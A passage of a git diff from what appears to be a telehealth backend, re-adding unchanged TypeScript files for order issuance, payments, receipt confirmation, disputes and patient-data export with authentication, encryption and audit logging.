adminController.resolveDispute, -); - -export default adminOrdersRouter; +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import * as adminController from '../controllers/admin'; + +export const adminOrdersRouter = Router(); + +adminOrdersRouter.get( + '/orders/disputes', + authenticate, + requireRole('admin'), + adminController.listDisputes, +); + +adminOrdersRouter.post( + '/orders/disputes/:id/resolve', + authenticate, + requireRole('admin'), + adminController.resolveDispute, +); + +export default adminOrdersRouter; diff --git a/backend/src/modules/orders/routes/index.ts b/backend/src/modules/orders/routes/index.ts index 341519ca..a747238f 100644 --- a/backend/src/modules/orders/routes/index.ts +++ b/backend/src/modules/orders/routes/index.ts @@ -1,51 +1,51 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as ordersController from '../controllers'; - -export const ordersRouter = Router(); - -ordersRouter.post( - '/consultations', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - ordersController.createConsultation, -); - -ordersRouter.post( - '/consultations/:consultationId/prescriptions', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - ordersController.issuePrescription, -); - -ordersRouter.post( - '/consultations/:consultationId/lab-orders', - authenticate, - requireRole('doctor'), - requireVerifiedEmail, - ordersController.issueLabOrder, -); - -ordersRouter.post( - '/:id/confirm-receipt', - authenticate, - requireRole('patient'), - ordersController.confirmReceipt, -); - -ordersRouter.post( - '/:id/dispute', - authenticate, - requireRole('patient'), - ordersController.disputeOrder, -); - -ordersRouter.get( - '/:id', - authenticate, - ordersController.getOrder, -); - -export default ordersRouter; +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as ordersController from '../controllers'; + +export const ordersRouter = Router(); + +ordersRouter.post( + '/consultations', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + ordersController.createConsultation, +); + +ordersRouter.post( + '/consultations/:consultationId/prescriptions', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + ordersController.issuePrescription, +); + +ordersRouter.post( + '/consultations/:consultationId/lab-orders', + authenticate, + requireRole('doctor'), + requireVerifiedEmail, + ordersController.issueLabOrder, +); + +ordersRouter.post( + '/:id/confirm-receipt', + authenticate, + requireRole('patient'), + ordersController.confirmReceipt, +); + +ordersRouter.post( + '/:id/dispute', + authenticate, + requireRole('patient'), + ordersController.disputeOrder, +); + +ordersRouter.get( + '/:id', + authenticate, + ordersController.getOrder, +); + +export default ordersRouter; diff --git a/backend/src/modules/orders/services/admin.ts b/backend/src/modules/orders/services/admin.ts index 7a744b0b..ea66e117 100644 --- a/backend/src/modules/orders/services/admin.ts +++ b/backend/src/modules/orders/services/admin.ts @@ -1,118 +1,118 @@ -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import { record, type AuditActor } from '../../audit/services'; -import type { DisputeStatus } from '@prisma/client'; - -export async function listDisputes(status?: DisputeStatus) { - const disputes = await prisma.orderDispute.findMany({ - where: status ? { status } : undefined, - orderBy: { createdAt: 'desc' }, - include: { - patientProfile: { - select: { - id: true, - fullName: true, - user: { - select: { - email: true, - }, - }, - }, - }, - order: { - include: { - facilityProfile: { - select: { - id: true, - name: true, - type: true, - }, - }, - fulfillmentProofs: true, - }, - }, - resolutions: { - orderBy: { createdAt: 'asc' }, - include: { - adminUser: { - select: { - id: true, - email: true, - }, - }, - }, - }, - }, - }); - - return disputes; -} - -export async function resolveDispute( - disputeId: string, - adminUserId: string, - data: { - resolutionNotes?: string; - outcome?: string; - }, - actor: AuditActor, -) { - if (!disputeId || typeof disputeId !== 'string') { - throw new HttpError(400, 'Dispute ID is required.'); - } - - const dispute = await prisma.orderDispute.findUnique({ - where: { id: disputeId }, - }); - if (!dispute) { - throw new HttpError(404, 'Dispute not found.'); - } - - if (!data || !data.resolutionNotes || typeof data.resolutionNotes !== 'string' || data.resolutionNotes.trim().length === 0) { - throw new HttpError(400, 'Resolution notes are required.'); - } - if (!data.outcome || typeof data.outcome !== 'string' || data.outcome.trim().length === 0) { - throw new HttpError(400, 'Resolution outcome is required.'); - } - - const resolutionNotes = data.resolutionNotes.trim(); - const outcome = data.outcome.trim(); - - const result = await prisma.$transaction(async (tx) => { - - const resolution = await tx.orderDisputeResolution.create({ - data: { - disputeId, - adminUserId, - resolutionNotes, - outcome, - }, - }); - - const updatedDispute = await tx.orderDispute.update({ - where: { id: disputeId }, - data: { - status: 'resolved', - }, - include: { - resolutions: true, - }, - }); - - await record(tx, actor, { - entityType: 'OrderDispute', - entityId: disputeId, - action: 'dispute.resolved', - fromState: dispute.status, - toState: 'resolved', - metadata: { - outcome, - adminUserId, - }, - }); - - return { dispute: updatedDispute, resolution }; - }); - - return result; -} +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import { record, type AuditActor } from '../../audit/services'; +import type { DisputeStatus } from '@prisma/client'; + +export async function listDisputes(status?: DisputeStatus) { + const disputes = await prisma.orderDispute.findMany({ + where: status ? { status } : undefined, + orderBy: { createdAt: 'desc' }, + include: { + patientProfile: { + select: { + id: true, + fullName: true, + user: { + select: { + email: true, + }, + }, + }, + }, + order: { + include: { + facilityProfile: { + select: { + id: true, + name: true, + type: true, + }, + }, + fulfillmentProofs: true, + }, + }, + resolutions: { + orderBy: { createdAt: 'asc' }, + include: { + adminUser: { + select: { + id: true, + email: true, + }, + }, + }, + }, + }, + }); + + return disputes; +} + +export async function resolveDispute( + disputeId: string, + adminUserId: string, + data: { + resolutionNotes?: string; + outcome?: string; + }, + actor: AuditActor, +) { + if (!disputeId || typeof disputeId !== 'string') { + throw new HttpError(400, 'Dispute ID is required.'); + } + + const dispute = await prisma.orderDispute.findUnique({ + where: { id: disputeId }, + }); + if (!dispute) { + throw new HttpError(404, 'Dispute not found.'); + } + + if (!data || !data.resolutionNotes || typeof data.resolutionNotes !== 'string' || data.resolutionNotes.trim().length === 0) { + throw new HttpError(400, 'Resolution notes are required.'); + } + if (!data.outcome || typeof data.outcome !== 'string' || data.outcome.trim().length === 0) { + throw new HttpError(400, 'Resolution outcome is required.'); + } + + const resolutionNotes = data.resolutionNotes.trim(); + const outcome = data.outcome.trim(); + + const result = await prisma.$transaction(async (tx) => { + + const resolution = await tx.orderDisputeResolution.create({ + data: { + disputeId, + adminUserId, + resolutionNotes, + outcome, + }, + }); + + const updatedDispute = await tx.orderDispute.update({ + where: { id: disputeId }, + data: { + status: 'resolved', + }, + include: { + resolutions: true, + }, + }); + + await record(tx, actor, { + entityType: 'OrderDispute', + entityId: disputeId, + action: 'dispute.resolved', + fromState: dispute.status, + toState: 'resolved', + metadata: { + outcome, + adminUserId, + }, + }); + + return { dispute: updatedDispute, resolution }; + }); + + return result; +} diff --git a/backend/src/modules/orders/services/index.ts b/backend/src/modules/orders/services/index.ts index 6ed18856..97befcd5 100644 --- a/backend/src/modules/orders/services/index.ts +++ b/backend/src/modules/orders/services/index.ts @@ -1,387 +1,387 @@ -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import { config } from '../../../config'; -import * as appointmentsService from '../../appointments/services'; -import * as consultationsService from '../../consultations/services'; -import * as paymentsService from '../../payments/services'; -import * as facilitiesService from '../../facilities/services'; -import * as auditService from '../../audit/services'; -import { encryptField, decryptField } from '../../../utils/field-encryption'; -import * as ordersRepo from '../repositories'; -import type { Prisma } from '@prisma/client'; -import { paginate, type PatientExportSection } from '../../patients/services'; -import { formatOrderResponse } from '../../../utils/order-utils'; - -/** The consultation step of the ordering flow. - * - * The Consultation row is owned by the consultations module, which is also - * where "one per appointment", the completed-appointment rule, note - * encryption, the `consultation.closed` audit event and the P2002 β†’ 409 race - * handling live. This function adds only the stricter gate this module already - * had (a **verified** doctor profile, via getDoctorAppointmentContext) and then - * delegates β€” it must never write the table itself. */ -export async function createConsultation(actor: auditService.AuditActor, input: { - appointmentId: string; outcome: 'resolved' | 'referred' | 'follow_up_needed' | null; notes: string | null; -}) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - await appointmentsService.getDoctorAppointmentContext(actor.userId, input.appointmentId); - const { consultation } = await consultationsService.createConsultation(actor, input); - return consultation; -} - -async function consultationContext(actor: auditService.AuditActor, id: string) { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - // Read through the consultations service, never its table (AGENTS.md hard rule 4). - const consultation = await consultationsService.getConsultationRecord(id); - const appointment = await appointmentsService.getDoctorAppointmentContext(actor.userId, consultation.appointmentId); - return { consultation, appointment }; -} - -function isUniqueViolation(error: unknown): boolean { - return typeof error === 'object' && error !== null && 'code' in error && (error as { code: unknown }).code === 'P2002'; -} - -function requirePositiveAmount(amount: bigint) { - if (amount <= 0n) throw new HttpError(400, 'amountStroops must be positive.'); -} - -/** - * Resolves what to charge for an order, inside the issuance transaction. - * - * - `catalogItemCode` present β†’ the facilities price in force *now* is the - * amount (and the price version is what the intent snapshots). No price - * published β†’ 422 `PRICE_ON_REQUEST`, never a zero/guessed charge. - * - otherwise the caller's explicit `amountStroops` is used (legacy flow). - * - * Validation guarantees exactly one of the two is present. - */ -async function resolveOrderAmount(tx: Prisma.TransactionClient, input: { - facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; -}): Promise<{ amountStroops: bigint; catalogItemCode: string | null }> { - if (input.catalogItemCode) { - const price = await facilitiesService.requireCurrentPrice(tx, { - facilityProfileId: input.facilityProfileId, - catalogItemCode: input.catalogItemCode, - }); - return { amountStroops: price.amount, catalogItemCode: input.catalogItemCode }; - } - if (input.amountStroops === undefined) { - throw new HttpError(400, 'Either amountStroops or catalogItemCode is required.'); - } - requirePositiveAmount(input.amountStroops); - return { amountStroops: input.amountStroops, catalogItemCode: null }; -} - -async function createOrderPayment(tx: Prisma.TransactionClient, input: { - kind: 'prescription' | 'lab_order'; orderId: string; patientProfileId: string; doctorProfileId: string; - facilityProfileId: string; amountStroops: bigint; supersedesId: string | null; catalogItemCode: string | null; -}) { - return paymentsService.createIntentForIssuedOrder(tx, input); -} - -export async function issuePrescription(actor: auditService.AuditActor, input: { - consultationId: string; facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; - supersedesPrescriptionId?: string; - items: Array<{ drugName: string; dosage: string; frequency: string; duration: string }>; -}) { - const { consultation, appointment } = await consultationContext(actor, input.consultationId); - let predecessor = null; - if (input.supersedesPrescriptionId) { - predecessor = await ordersRepo.findPrescriptionForCorrection(input.supersedesPrescriptionId); - if (!predecessor || predecessor.consultationId !== consultation.id || predecessor.correctedBy) { - throw new HttpError(409, 'The prescription to correct does not exist, belongs to another consultation, or already has a correction.'); - } - } - try { - return await prisma.$transaction(async (tx) => { - const pricing = await resolveOrderAmount(tx, input); - const order = await ordersRepo.createPrescription(tx, { - consultationId: consultation.id, patientProfileId: appointment.patientProfileId, - prescribingDoctorId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, - amountStroops: pricing.amountStroops, supersedesPrescriptionId: predecessor?.id ?? null, items: input.items, - }); - const paymentIntent = await createOrderPayment(tx, { - kind: 'prescription', orderId: order.id, patientProfileId: appointment.patientProfileId, - doctorProfileId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, - amountStroops: pricing.amountStroops, supersedesId: predecessor?.id ?? null, - catalogItemCode: pricing.catalogItemCode, - }); - await auditService.record(tx, actor, { - entityType: 'Prescription', entityId: order.id, action: 'prescription.issued', - fromState: null, toState: order.status, - metadata: { - consultationId: consultation.id, paymentIntentId: paymentIntent.id, - amountStroops: pricing.amountStroops.toString(), - catalogItemCode: pricing.catalogItemCode, - }, - }); - return { ...order, paymentIntent }; - }); - } catch (error) { - if (isUniqueViolation(error)) throw new HttpError(409, 'This order already has a correction or payment intent.'); - throw error; - } -} - -export async function issueLabOrder(actor: auditService.AuditActor, input: { - consultationId: string; facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; testType: string; - urgency: 'routine' | 'urgent'; notes?: string; supersedesLabOrderId?: string; -}) { - const { consultation, appointment } = await consultationContext(actor, input.consultationId); - let predecessor = null; - if (input.supersedesLabOrderId) { - predecessor = await ordersRepo.findLabOrderForCorrection(input.supersedesLabOrderId); - if (!predecessor || predecessor.consultationId !== consultation.id || predecessor.correctedBy) { - throw new HttpError(409, 'The lab order to correct does not exist, belongs to another consultation, or already has a correction.'); - } - } - try { - return await prisma.$transaction(async (tx) => { - const pricing = await resolveOrderAmount(tx, input); - const order = await ordersRepo.createLabOrder(tx, { - consultationId: consultation.id, patientProfileId: appointment.patientProfileId, - orderingDoctorId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, - amountStroops: pricing.amountStroops, testType: input.testType, urgency: input.urgency, - notes: encryptField(input.notes) ?? null, supersedesLabOrderId: predecessor?.id ?? null, - }); - const paymentIntent = await createOrderPayment(tx, { - kind: 'lab_order', orderId: order.id, patientProfileId: appointment.patientProfileId, - doctorProfileId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, - amountStroops: pricing.amountStroops, supersedesId: predecessor?.id ?? null, - catalogItemCode: pricing.catalogItemCode, - }); - await auditService.record(tx, actor, { - entityType: 'LabOrder', entityId: order.id, action: 'lab_order.issued', - fromState: null, toState: order.status, - metadata: { - consultationId: consultation.id, paymentIntentId: paymentIntent.id, - amountStroops: pricing.amountStroops.toString(), - catalogItemCode: pricing.catalogItemCode, - }, - }); - return { ...order, notes: decryptField(order.notes), paymentIntent }; - }); - } catch (error) { - if (isUniqueViolation(error)) throw new HttpError(409, 'This order already has a correction or payment intent.'); - throw error; - } -} - -export async function confirmOrderReceipt( - orderId: string, - patientUserId: string, - actor: auditService.AuditActor, -) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - - const patientProfile = await prisma.patientProfile.findUnique({ - where: { userId: patientUserId }, - }); - if (!patientProfile) { - throw new HttpError(403, 'Patient profile required.'); - } - - const windowStart = new Date( - Date.now() - config.orders.confirmationWindowHours * 60 * 60 * 1000, - ); - - const result = await prisma.$transaction(async (tx) => { - const success = await ordersRepo.confirmOrderReceiptConditional( - tx, - orderId, - patientProfile.id, - windowStart, - ); - - if (success) { - await auditService.record(tx, actor, { - entityType: 'Order', - entityId: orderId, - action: 'order.receipt_confirmed', - fromState: 'fulfilled', - toState: 'confirmed', - metadata: { confirmationSource: 'patient' }, - }); - - const updated = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); - if (!updated) throw new HttpError(500, 'Failed to fetch updated order.'); - return updated; - } - - // Conditional update failed β€” diagnose reason - const existing = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); - if (!existing) { - const orderExists = await tx.order.findUnique({ where: { id: orderId } }); - if (!orderExists) { - throw new HttpError(404, 'Order not found.'); - } - throw new HttpError(403, 'You do not have permission to confirm this order.'); - } - - if (existing.confirmed) { - // Idempotent success - return existing; - } - if (existing.disputed) { - throw new HttpError(409, 'Cannot confirm receipt of a disputed order.'); - } - if (existing.status !== 'fulfilled') { - throw new HttpError(400, 'Order must be fulfilled before receipt can be confirmed.'); - } - if (existing.fulfilledAt && existing.fulfilledAt < windowStart) { - throw new HttpError(409, 'Confirmation window has elapsed.'); - } - - throw new HttpError(409, 'Unable to confirm order receipt.'); - }); - - return formatOrderResponse(result); -} - -export async function disputeOrder( - orderId: string, - patientUserId: string, - reason: string, - actor: auditService.AuditActor, -) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - - const orderExists = await prisma.order.findUnique({ where: { id: orderId } }); - if (!orderExists) { - throw new HttpError(404, 'Order not found.'); - } - - if (!reason || typeof reason !== 'string' || reason.trim().length === 0) { - throw new HttpError(400, 'Dispute reason is required.'); - } - - const patientProfile = await prisma.patientProfile.findUnique({ - where: { userId: patientUserId }, - }); - if (!patientProfile) { - throw new HttpError(403, 'Patient profile required.'); - } - - const windowStart = new Date( - Date.now() - config.orders.confirmationWindowHours * 60 * 60 * 1000, - ); - - const result = await prisma.$transaction(async (tx) => { - const existingBefore = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); - if (!existingBefore) { - const orderExists = await tx.order.findUnique({ where: { id: orderId } }); - if (!orderExists) { - throw new HttpError(404, 'Order not found.'); - } - throw new HttpError(403, 'You do not have permission to dispute this order.'); - } - - if (existingBefore.confirmed) { - throw new HttpError(409, 'Cannot dispute an order that has already been confirmed.'); - } - if (existingBefore.disputed) { - throw new HttpError(409, 'Order is already disputed.'); - } - if (existingBefore.status !== 'fulfilled') { - throw new HttpError(400, 'Order must be fulfilled before it can be disputed.'); - } - if (existingBefore.fulfilledAt && existingBefore.fulfilledAt < windowStart) { - throw new HttpError(409, 'Confirmation window has elapsed; order can no longer be disputed.'); - } - - const success = await ordersRepo.disputeOrderConditional( - tx, - orderId, - patientProfile.id, - windowStart, - ); - - if (!success) { - throw new HttpError(409, 'Unable to dispute order.'); - } - - await ordersRepo.createOrderDispute(tx, { - orderId, - patientProfileId: patientProfile.id, - reason: reason.trim(), - }); - - await auditService.record(tx, actor, { - entityType: 'Order', - entityId: orderId, - action: 'order.disputed', - fromState: 'fulfilled', - toState: 'disputed', - metadata: { reason: reason.trim() }, - }); - - const updated = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); - if (!updated) throw new HttpError(500, 'Failed to fetch updated order.'); - return updated; - }); - - return formatOrderResponse(result); -} - -export async function getOrderById(orderId: string) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - const order = await prisma.order.findUnique({ - where: { id: orderId }, - include: { - fulfillmentProofs: true, - disputes: { - include: { - resolutions: true, - }, - }, - }, - }); - if (!order) { - throw new HttpError(404, 'Order not found.'); - } - return formatOrderResponse(order); -} - -export const prescriptionsExportSection: PatientExportSection = { - name: 'prescriptions', version: 1, - pages(subject, pageSize) { - return paginate(pageSize, - (cursor, take) => ordersRepo.findPrescriptionExportPage(subject.patientProfileId, cursor, take), - (rows) => rows.map((row) => ({ - id: row.id, consultationId: row.consultationId, prescribingDoctorId: row.prescribingDoctorId, - facilityProfileId: row.facilityProfileId, amountStroops: row.amountStroops.toString(), - supersedesPrescriptionId: row.supersedesPrescriptionId, createdAt: row.createdAt, - items: row.items.map(({ drugName, dosage, frequency, duration }) => ({ drugName, dosage, frequency, duration })), - })), - ); - }, -}; - -export const labOrdersExportSection: PatientExportSection = { - name: 'lab_orders', version: 1, - pages(subject, pageSize) { - return paginate(pageSize, - (cursor, take) => ordersRepo.findLabOrderExportPage(subject.patientProfileId, cursor, take), - (rows) => rows.map((row) => ({ - id: row.id, consultationId: row.consultationId, orderingDoctorId: row.orderingDoctorId, - facilityProfileId: row.facilityProfileId, amountStroops: row.amountStroops.toString(), - testType: row.testType, urgency: row.urgency, notes: decryptField(row.notes), - supersedesLabOrderId: row.supersedesLabOrderId, createdAt: row.createdAt, - result: row.result ? { resultFileUrl: row.result.resultFileUrl, summary: row.result.summary, createdAt: row.result.createdAt } : null, - })), - ); - }, -}; - -/** Retention hold (issue #41, docs/adr/0010): prescriptions and lab orders - * are append-only clinical orders, so a patient who has any is never purged - * after deletion. */ -export function hasOrdersForPatient(patientProfileId: string): Promise { - return ordersRepo.patientHasOrders(patientProfileId); -} +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import { config } from '../../../config'; +import * as appointmentsService from '../../appointments/services'; +import * as consultationsService from '../../consultations/services'; +import * as paymentsService from '../../payments/services'; +import * as facilitiesService from '../../facilities/services'; +import * as auditService from '../../audit/services'; +import { encryptField, decryptField } from '../../../utils/field-encryption'; +import * as ordersRepo from '../repositories'; +import type { Prisma } from '@prisma/client'; +import { paginate, type PatientExportSection } from '../../patients/services'; +import { formatOrderResponse } from '../../../utils/order-utils'; + +/** The consultation step of the ordering flow. + * + * The Consultation row is owned by the consultations module, which is also + * where "one per appointment", the completed-appointment rule, note + * encryption, the `consultation.closed` audit event and the P2002 β†’ 409 race + * handling live. This function adds only the stricter gate this module already + * had (a **verified** doctor profile, via getDoctorAppointmentContext) and then + * delegates β€” it must never write the table itself. */ +export async function createConsultation(actor: auditService.AuditActor, input: { + appointmentId: string; outcome: 'resolved' | 'referred' | 'follow_up_needed' | null; notes: string | null; +}) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + await appointmentsService.getDoctorAppointmentContext(actor.userId, input.appointmentId); + const { consultation } = await consultationsService.createConsultation(actor, input); + return consultation; +} + +async function consultationContext(actor: auditService.AuditActor, id: string) { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + // Read through the consultations service, never its table (AGENTS.md hard rule 4). + const consultation = await consultationsService.getConsultationRecord(id); + const appointment = await appointmentsService.getDoctorAppointmentContext(actor.userId, consultation.appointmentId); + return { consultation, appointment }; +} + +function isUniqueViolation(error: unknown): boolean { + return typeof error === 'object' && error !== null && 'code' in error && (error as { code: unknown }).code === 'P2002'; +} + +function requirePositiveAmount(amount: bigint) { + if (amount <= 0n) throw new HttpError(400, 'amountStroops must be positive.'); +} + +/** + * Resolves what to charge for an order, inside the issuance transaction. + * + * - `catalogItemCode` present β†’ the facilities price in force *now* is the + * amount (and the price version is what the intent snapshots). No price + * published β†’ 422 `PRICE_ON_REQUEST`, never a zero/guessed charge. + * - otherwise the caller's explicit `amountStroops` is used (legacy flow). + * + * Validation guarantees exactly one of the two is present. + */ +async function resolveOrderAmount(tx: Prisma.TransactionClient, input: { + facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; +}): Promise<{ amountStroops: bigint; catalogItemCode: string | null }> { + if (input.catalogItemCode) { + const price = await facilitiesService.requireCurrentPrice(tx, { + facilityProfileId: input.facilityProfileId, + catalogItemCode: input.catalogItemCode, + }); + return { amountStroops: price.amount, catalogItemCode: input.catalogItemCode }; + } + if (input.amountStroops === undefined) { + throw new HttpError(400, 'Either amountStroops or catalogItemCode is required.'); + } + requirePositiveAmount(input.amountStroops); + return { amountStroops: input.amountStroops, catalogItemCode: null }; +} + +async function createOrderPayment(tx: Prisma.TransactionClient, input: { + kind: 'prescription' | 'lab_order'; orderId: string; patientProfileId: string; doctorProfileId: string; + facilityProfileId: string; amountStroops: bigint; supersedesId: string | null; catalogItemCode: string | null; +}) { + return paymentsService.createIntentForIssuedOrder(tx, input); +} + +export async function issuePrescription(actor: auditService.AuditActor, input: { + consultationId: string; facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; + supersedesPrescriptionId?: string; + items: Array<{ drugName: string; dosage: string; frequency: string; duration: string }>; +}) { + const { consultation, appointment } = await consultationContext(actor, input.consultationId); + let predecessor = null; + if (input.supersedesPrescriptionId) { + predecessor = await ordersRepo.findPrescriptionForCorrection(input.supersedesPrescriptionId); + if (!predecessor || predecessor.consultationId !== consultation.id || predecessor.correctedBy) { + throw new HttpError(409, 'The prescription to correct does not exist, belongs to another consultation, or already has a correction.'); + } + } + try { + return await prisma.$transaction(async (tx) => { + const pricing = await resolveOrderAmount(tx, input); + const order = await ordersRepo.createPrescription(tx, { + consultationId: consultation.id, patientProfileId: appointment.patientProfileId, + prescribingDoctorId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, + amountStroops: pricing.amountStroops, supersedesPrescriptionId: predecessor?.id ?? null, items: input.items, + }); + const paymentIntent = await createOrderPayment(tx, { + kind: 'prescription', orderId: order.id, patientProfileId: appointment.patientProfileId, + doctorProfileId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, + amountStroops: pricing.amountStroops, supersedesId: predecessor?.id ?? null, + catalogItemCode: pricing.catalogItemCode, + }); + await auditService.record(tx, actor, { + entityType: 'Prescription', entityId: order.id, action: 'prescription.issued', + fromState: null, toState: order.status, + metadata: { + consultationId: consultation.id, paymentIntentId: paymentIntent.id, + amountStroops: pricing.amountStroops.toString(), + catalogItemCode: pricing.catalogItemCode, + }, + }); + return { ...order, paymentIntent }; + }); + } catch (error) { + if (isUniqueViolation(error)) throw new HttpError(409, 'This order already has a correction or payment intent.'); + throw error; + } +} + +export async function issueLabOrder(actor: auditService.AuditActor, input: { + consultationId: string; facilityProfileId: string; amountStroops?: bigint; catalogItemCode?: string; testType: string; + urgency: 'routine' | 'urgent'; notes?: string; supersedesLabOrderId?: string; +}) { + const { consultation, appointment } = await consultationContext(actor, input.consultationId); + let predecessor = null; + if (input.supersedesLabOrderId) { + predecessor = await ordersRepo.findLabOrderForCorrection(input.supersedesLabOrderId); + if (!predecessor || predecessor.consultationId !== consultation.id || predecessor.correctedBy) { + throw new HttpError(409, 'The lab order to correct does not exist, belongs to another consultation, or already has a correction.'); + } + } + try { + return await prisma.$transaction(async (tx) => { + const pricing = await resolveOrderAmount(tx, input); + const order = await ordersRepo.createLabOrder(tx, { + consultationId: consultation.id, patientProfileId: appointment.patientProfileId, + orderingDoctorId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, + amountStroops: pricing.amountStroops, testType: input.testType, urgency: input.urgency, + notes: encryptField(input.notes) ?? null, supersedesLabOrderId: predecessor?.id ?? null, + }); + const paymentIntent = await createOrderPayment(tx, { + kind: 'lab_order', orderId: order.id, patientProfileId: appointment.patientProfileId, + doctorProfileId: appointment.doctorProfileId, facilityProfileId: input.facilityProfileId, + amountStroops: pricing.amountStroops, supersedesId: predecessor?.id ?? null, + catalogItemCode: pricing.catalogItemCode, + }); + await auditService.record(tx, actor, { + entityType: 'LabOrder', entityId: order.id, action: 'lab_order.issued', + fromState: null, toState: order.status, + metadata: { + consultationId: consultation.id, paymentIntentId: paymentIntent.id, + amountStroops: pricing.amountStroops.toString(), + catalogItemCode: pricing.catalogItemCode, + }, + }); + return { ...order, notes: decryptField(order.notes), paymentIntent }; + }); + } catch (error) { + if (isUniqueViolation(error)) throw new HttpError(409, 'This order already has a correction or payment intent.'); + throw error; + } +} + +export async function confirmOrderReceipt( + orderId: string, + patientUserId: string, + actor: auditService.AuditActor, +) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + + const patientProfile = await prisma.patientProfile.findUnique({ + where: { userId: patientUserId }, + }); + if (!patientProfile) { + throw new HttpError(403, 'Patient profile required.'); + } + + const windowStart = new Date( + Date.now() - config.orders.confirmationWindowHours * 60 * 60 * 1000, + ); + + const result = await prisma.$transaction(async (tx) => { + const success = await ordersRepo.confirmOrderReceiptConditional( + tx, + orderId, + patientProfile.id, + windowStart, + ); + + if (success) { + await auditService.record(tx, actor, { + entityType: 'Order', + entityId: orderId, + action: 'order.receipt_confirmed', + fromState: 'fulfilled', + toState: 'confirmed', + metadata: { confirmationSource: 'patient' }, + }); + + const updated = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); + if (!updated) throw new HttpError(500, 'Failed to fetch updated order.'); + return updated; + } + + // Conditional update failed β€” diagnose reason + const existing = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); + if (!existing) { + const orderExists = await tx.order.findUnique({ where: { id: orderId } }); + if (!orderExists) { + throw new HttpError(404, 'Order not found.'); + } + throw new HttpError(403, 'You do not have permission to confirm this order.'); + } + + if (existing.confirmed) { + // Idempotent success + return existing; + } + if (existing.disputed) { + throw new HttpError(409, 'Cannot confirm receipt of a disputed order.'); + } + if (existing.status !== 'fulfilled') { + throw new HttpError(400, 'Order must be fulfilled before receipt can be confirmed.'); + } + if (existing.fulfilledAt && existing.fulfilledAt < windowStart) { + throw new HttpError(409, 'Confirmation window has elapsed.'); + } + + throw new HttpError(409, 'Unable to confirm order receipt.'); + }); + + return formatOrderResponse(result); +} + +export async function disputeOrder( + orderId: string, + patientUserId: string, + reason: string, + actor: auditService.AuditActor, +) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + + const orderExists = await prisma.order.findUnique({ where: { id: orderId } }); + if (!orderExists) { + throw new HttpError(404, 'Order not found.'); + } + + if (!reason || typeof reason !== 'string' || reason.trim().length === 0) { + throw new HttpError(400, 'Dispute reason is required.'); + } + + const patientProfile = await prisma.patientProfile.findUnique({ + where: { userId: patientUserId }, + }); + if (!patientProfile) { + throw new HttpError(403, 'Patient profile required.'); + } + + const windowStart = new Date( + Date.now() - config.orders.confirmationWindowHours * 60 * 60 * 1000, + ); + + const result = await prisma.$transaction(async (tx) => { + const existingBefore = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); + if (!existingBefore) { + const orderExists = await tx.order.findUnique({ where: { id: orderId } }); + if (!orderExists) { + throw new HttpError(404, 'Order not found.'); + } + throw new HttpError(403, 'You do not have permission to dispute this order.'); + } + + if (existingBefore.confirmed) { + throw new HttpError(409, 'Cannot dispute an order that has already been confirmed.'); + } + if (existingBefore.disputed) { + throw new HttpError(409, 'Order is already disputed.'); + } + if (existingBefore.status !== 'fulfilled') { + throw new HttpError(400, 'Order must be fulfilled before it can be disputed.'); + } + if (existingBefore.fulfilledAt && existingBefore.fulfilledAt < windowStart) { + throw new HttpError(409, 'Confirmation window has elapsed; order can no longer be disputed.'); + } + + const success = await ordersRepo.disputeOrderConditional( + tx, + orderId, + patientProfile.id, + windowStart, + ); + + if (!success) { + throw new HttpError(409, 'Unable to dispute order.'); + } + + await ordersRepo.createOrderDispute(tx, { + orderId, + patientProfileId: patientProfile.id, + reason: reason.trim(), + }); + + await auditService.record(tx, actor, { + entityType: 'Order', + entityId: orderId, + action: 'order.disputed', + fromState: 'fulfilled', + toState: 'disputed', + metadata: { reason: reason.trim() }, + }); + + const updated = await ordersRepo.findOrderForPatient(tx, orderId, patientProfile.id); + if (!updated) throw new HttpError(500, 'Failed to fetch updated order.'); + return updated; + }); + + return formatOrderResponse(result); +} + +export async function getOrderById(orderId: string) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + const order = await prisma.order.findUnique({ + where: { id: orderId }, + include: { + fulfillmentProofs: true, + 